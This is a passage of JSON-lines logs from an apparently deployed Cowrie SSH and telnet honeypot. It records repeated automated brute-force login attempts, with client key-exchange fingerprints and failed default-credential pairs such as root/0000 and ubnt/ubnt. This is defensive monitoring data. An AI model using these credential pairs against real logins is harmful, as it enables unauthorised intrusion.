a2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:24.453664Z","src_ip":"83.168.110.85","session":"eb5c3a44fbe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:25.132828Z","src_ip":"83.168.110.85","session":"eb5c3a44fbe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:26.261305Z","src_ip":"83.168.110.85","session":"eb5c3a44fbe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33154,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c78c5359170","protocol":"ssh","message":"New connection: 83.168.110.85:33154 (10.17.0.5:22) [session: 1c78c5359170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:31.657059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:31.663656Z","src_ip":"83.168.110.85","session":"1c78c5359170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:31.785317Z","src_ip":"83.168.110.85","session":"1c78c5359170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:32.148861Z","src_ip":"83.168.110.85","session":"1c78c5359170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:33.604760Z","src_ip":"83.168.110.85","session":"1c78c5359170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52798,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ec7b1595a9a","protocol":"ssh","message":"New connection: 83.168.110.85:52798 (10.17.0.5:22) [session: 2ec7b1595a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:38.681784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:38.686264Z","src_ip":"83.168.110.85","session":"2ec7b1595a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:38.807345Z","src_ip":"83.168.110.85","session":"2ec7b1595a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:39.330018Z","src_ip":"83.168.110.85","session":"2ec7b1595a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:40.454870Z","src_ip":"83.168.110.85","session":"2ec7b1595a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"22c6c7f9be51","protocol":"ssh","message":"New connection: 83.168.110.85:49304 (10.17.0.5:22) [session: 22c6c7f9be51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:45.505329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:45.510481Z","src_ip":"83.168.110.85","session":"22c6c7f9be51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:45.637746Z","src_ip":"83.168.110.85","session":"22c6c7f9be51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:46.215790Z","src_ip":"83.168.110.85","session":"22c6c7f9be51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:47.364474Z","src_ip":"83.168.110.85","session":"22c6c7f9be51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49306,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cfa0d4bc12f","protocol":"ssh","message":"New connection: 83.168.110.85:49306 (10.17.0.5:22) [session: 2cfa0d4bc12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:52.991427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:52.996538Z","src_ip":"83.168.110.85","session":"2cfa0d4bc12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:53.117148Z","src_ip":"83.168.110.85","session":"2cfa0d4bc12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:53.480417Z","src_ip":"83.168.110.85","session":"2cfa0d4bc12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:54.844491Z","src_ip":"83.168.110.85","session":"2cfa0d4bc12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39516,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04d4da1619d","protocol":"ssh","message":"New connection: 83.168.110.85:39516 (10.17.0.5:22) [session: d04d4da1619d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:59.811496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:59.817128Z","src_ip":"83.168.110.85","session":"d04d4da1619d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:59.942200Z","src_ip":"83.168.110.85","session":"d04d4da1619d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:00.316058Z","src_ip":"83.168.110.85","session":"d04d4da1619d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:01.470420Z","src_ip":"83.168.110.85","session":"d04d4da1619d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":59976,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4559e11599","protocol":"ssh","message":"New connection: 80.94.92.171:59976 (159.203.135.109:22) [session: bf4559e11599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:02.107227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:02.443305Z","src_ip":"80.94.92.171","session":"bf4559e11599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:02.448822Z","src_ip":"80.94.92.171","session":"bf4559e11599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:03.637155Z","src_ip":"80.94.92.171","session":"bf4559e11599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:04.860249Z","src_ip":"80.94.92.171","session":"bf4559e11599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42178,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdccdbd1de70","protocol":"ssh","message":"New connection: 83.168.110.85:42178 (10.17.0.5:22) [session: cdccdbd1de70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:07.003495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:07.008586Z","src_ip":"83.168.110.85","session":"cdccdbd1de70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:07.132835Z","src_ip":"83.168.110.85","session":"cdccdbd1de70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:07.499022Z","src_ip":"83.168.110.85","session":"cdccdbd1de70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:08.627149Z","src_ip":"83.168.110.85","session":"cdccdbd1de70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57378,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b295dea3fe","protocol":"telnet","message":"New connection: 152.42.224.71:57378 (10.17.0.5:23) [session: 64b295dea3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:13.018041Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49874,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a86c5661099","protocol":"ssh","message":"New connection: 83.168.110.85:49874 (10.17.0.5:22) [session: 9a86c5661099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:14.273578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:14.288603Z","src_ip":"83.168.110.85","session":"9a86c5661099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:14.398945Z","src_ip":"83.168.110.85","session":"9a86c5661099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:14.874896Z","src_ip":"83.168.110.85","session":"9a86c5661099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.05310010910034,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:15.966992Z","src_ip":"152.42.224.71","session":"ff7f013a798a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:16.082752Z","src_ip":"83.168.110.85","session":"9a86c5661099","protocol":"ssh"}
